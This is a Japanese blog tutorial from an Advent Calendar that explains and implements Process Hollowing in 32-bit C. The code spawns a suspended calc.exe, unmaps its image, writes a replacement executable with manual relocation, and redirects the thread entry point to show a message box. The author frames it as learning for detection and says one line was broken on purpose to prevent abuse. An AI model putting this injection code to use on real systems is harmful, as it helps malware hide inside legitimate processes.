NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
本記事は IPFactory Advent Calendar 2019 - Qiita 19日目の記事です。
Ntdll.dllからエクスポートされるNtUnmapViewOfSectionによるProcess Hollowingをやってみる。
Process Hollowingの検知手法について解説する記事はいくつかヒットするが、その実装について解説した日本語情報はあまりないように思う。この記事では、すでによく知られているProcess Hollowingについて,実装部分に注目しながら解説してみる。これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
Process Hollowingとは
マルウェアが使うProcess Injection手法の一例として、Process Hollowingがある。 これは正当なプロセスをサスペンド状態で新規作成した後、内部のイメージをNtUnmapViewOfSectionでアンマップし、悪意あるコードに置き換えるというものだ。
イメージをアンマップする様子がくり抜く動作に似ていることからProcess Hollowingと呼ばれる。
この記事では以下のリポジトリを参考に、電卓プロセスをHollowingし悪意あるコードに見立てたメッセージボックスをポップアップさせるプログラムを実装してみる。
新規プロセスの作成
まずは単純に,電卓を起動させるコードを書いてみる。
#include <windows.h> #include <stdio.h> void CreateHollowedProcess() { printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); // CREATE_SUSPENDで新規プロセス作成 CreateProcessA( 0, "calc.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; } ////////////////////////////// // ここにコードを追加していく ////////////////////////////// } int main(int argc, char *argv[]) { CreateHollowedProcess(); system("pause"); return 0; }
CreateProcessAの6番目の引数にCREATE_SUSPENDEDを与えることでサスペンド状態でプロセスが新規作成される。 試しにこれを0などに変えてみると通常通り電卓が起動するだろう。
以降このプログラムにコードを追加していく。
イメージのアンマップ
最初の処理は作成した電卓のイメージのアンマップだ。
/////////////////////////////////////////////////// // イメージのアンマップ printf("Unmapping destination section\r\n"); // 書き込み対象プロセスのPEB情報を取得 PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); // 書き込み対象プロセスのImageBaseを取得 PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); handle hinstance = getmodulehandle(); // 動的にDLLをリンク HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; // 書き込み対象プロセスをアンマップ DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress); ///////////////////////////////////////////////////
イメージのアンマップはNtdll.dllからエクスポートされるNtUnmapViewOfSectionを使用する。 DLLの動的なロードにはGetModuleHandleAを使用する。 ハンドルと使用したい関数をGetProcAddressに渡すとその関数へのポインタが返る。 以降NtUnmapViewOfSectionへは関数ポインタと同じ要領でアクセスすればよい。
NtUnmapViewOfSectionの第1引数には対象プロセスのハンドル、第2引数にはイメージのベースアドレスを指定する。 対象プロセスへのハンドルはpProcessInfo->hProcessを与える。 イメージのベースアドレス取得にはラッパー関数であるReadRemotePEBを使用する。 この内部ではNtQueryInformationProcessを使ってPEBからプロセスのイメージベースを取得している。実際のコードはリポジトリを参照してほしい。
書き込み元実行ファイルの情報収集とメモリのアロケート
イメージのアンマップが正常に終了したら次は代替コードの注入だ。 メッセージボックスがポップアップするプログラムを簡単に書いてみる。
#include <windows.h> int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { MessageBoxA(0, "Hello World", "Hello Caption", 0); return 0; }
このプログラムをコンパイルし実行形式にする。
書き込み元実行ファイルの情報収集処理ではまず先ほどコンパイルして出来上がった実行ファイルをオープンし、SizeOfImageなど書き込みに必要な情報を取得する。 次にそれに基づいてVritualAllocEXを使って電卓プロセス内にメモリ領域をPAGE_EXECUTE_READWRITEでアロケートする。 この段階ではまだメモリ領域を確保しただけで書き込みまでは行っていない。
/////////////////////////////////////////////////// // 書き込み元実行ファイルの情報収集とメモリのアロケート // 書き込み元実行ファイルをオープン printf("Opening source image\r\n"); HANDLE hFile = CreateFileA( pSourceFile, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0); // 書き込み元実行ファイルのファイルサイズ取得 DWORD dwSize = GetFileSize(hFile, 0); PBYTE pBuffer = new BYTE[dwSize]; DWORD dwBytesRead = 0; ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); // PEファイルのImageBase,NumberOfSectionsなどの各種情報を取得 PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); // NTHeaderへのオフセットを取得 PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); printf("Allocating memory\r\n"); // PAGE_EXECUTE_READWRITEで書き込み対象へメモリ領域の確保 PVOID pRemoteImage = VirtualAllocEx( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ///////////////////////////////////////////////////
ベース再配置処理
PEファイルのオプショナルヘッダにはリンカが指定したイメージファイルがロードされるべきアドレスであるImageBaseフィールドがある。しかし既に他のイメージによって使用されているなど常にこのアドレスにロードできるとは限らない。 なんらかの理由でImageBaseにイメージファイルをロードできなかった場合、ローダはファイル内のベース再配置情報に基づいてアドレス値を修正する。 Process HollowingではVirtualAllocExで確保したメモリ領域にイメージファイルをロードさせる。そのため通常ローダが行ってくれるこのベース再配置をマニュアルで行う必要がある。
ベース再配置情報はオプショナルヘッダのDataDirectoryのIMAGE_DIRECTORY_ENTRY_BASERELOC[5]のエントリから辿ることができる。
/////////////////////////////////////////////////// // ベース再配置処理 pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; // NTヘッダ部分を先んじて書き込む printf("Writing headers\r\n"); WriteProcessMemory( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0); // 続いてセクション分書き込むためのループ for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; // セクションの書き込み先となるポインタを決定 PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); WriteProcessMemory( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0); } // リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差 DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; if (dwDelta) for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { char *pSectionName = ".reloc"; // セクション名が.reloc以外なら続行 if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) continue; printf("Rebasing image\r\n"); DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; DWORD dwOffset = 0; // 再配置テーブルへのポインタを取得 IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // 再配置テーブルのサイズ分ループ while (dwOffset < relocData.Size) { PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; // インクリメント dwOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; for (DWORD y = 0; y < dwEntryCount; y++) { // インクリメント dwOffset += sizeof(BASE_RELOCATION_ENTRY); // タイプが0なら再配置の必要なし if (pBlocks[y].Type == 0) continue; // 再配置が必要なフィールドのアドレスを求める DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; // 再配置が必要なフィールドの読み込み ReadProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta); dwBuffer += dwDelta; // 再配置が必要なフィールドの修正 BOOL bSuccess = WriteProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); } } break; } ///////////////////////////////////////////////////
まず1度イメージ全体を自プロセスのメモリ空間にロードする。
リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差Deltaが0でない場合ベース再配置が必要で、.relocセクションに格納されている再配置テーブルを修正する。
再配置テーブルへのポインタはpSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
で取得している。
PEViewで実際に適当なプログラムの.relocセクションをみてみると次のようになっており、再配置テーブルの構造がわかりやすいのではないかと思う。 またここではBASE_RELOCATION_BLOCK構造体とBASE_RELOCATION_ENTRY構造体が次のように定義されていることに注意して欲しい。
typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; // 再配置を行うベースとなるRVA DWORD BlockSize; // 再配置ブロックのサイズ } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; // 上位12bitがVirtualAddress からのオフセット USHORT Type : 4; // 下位4ビットで再配置のタイプ } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BASE_RELOCATION_BLOCK構造体の直後にBASE_RELOCATION_ENTRY構造体がBASE_RELOCATION_BLOCK構造体のサイズも含めた値BlockSizeだけ延々と繰り返される。
PageAddressにOffsetを足すことで再配置を行うべきRVAを求め、dwDeltaを足すことで再配置計算が完了する。
スレッドコンテキストの編集
ターゲットプロセスへイメージのロードが完了したら、プロセススレッドのコンテキストを調整して完了だ。
/////////////////////////////////////////////////// // スレッドコンテキストの編集 // エントリーポイントの取得 DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; LPCONTEXT pContext = new CONTEXT(); pContext->ContextFlags = CONTEXT_INTEGER; printf("Getting thread context\r\n"); // ターゲットプロセスのスレッドコンテキスト情報を取得 GetThreadContext(pProcessInfo->hThread, pContext); // エントリーポイントの書き換え pContext->Eax = dwEntrypoint; printf("Setting thread context\r\n"); // スレッドコンテキストの更新 SetThreadContext(pProcessInfo->hThread, pContext); printf("Resuming thread\r\n"); // ターゲットプロセスのをResume ResumeThread(pProcessInfo->hThread); printf("Process hollowing complete\r\n"); ///////////////////////////////////////////////////
動作の様子
以上のコードをコンパイルして実際に動作させてみる。
— ry0kvn (@ry0kvn) 2019年12月19日
確かに電卓からメッセージボックスがポップアップしている。 またプロセスエディタで電卓にアタッチしておけばアンマップの様子やリロケーションの様子も見ることができる。
今回は簡便のためコマンドプロンプトにデバッグ情報を出力しているが、当然ながら適切なプロセスをProcess Hollowing対象にすることで、タスクバーを含めて画面上からは一切の動作の様子を確認できなくすることも可能だ。
まとめ
ここまで読んでもらえた方には分かると思うがこのプログラムは32bitアプリケーションでしか動作しない。また悪用回避のためにただコードを繋げるだけではコンパイルできなくしている。
Process Hollowingはレガシーなテクニックだが、私にとってはリモートプロセスの操作やPEファイルの扱い、さらにはベース再配置などのイメージローダーが担う機能の一部分の再実装を通して、普段扱わない部分に触れる貴重な学習となった。繰り返しになるが、これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。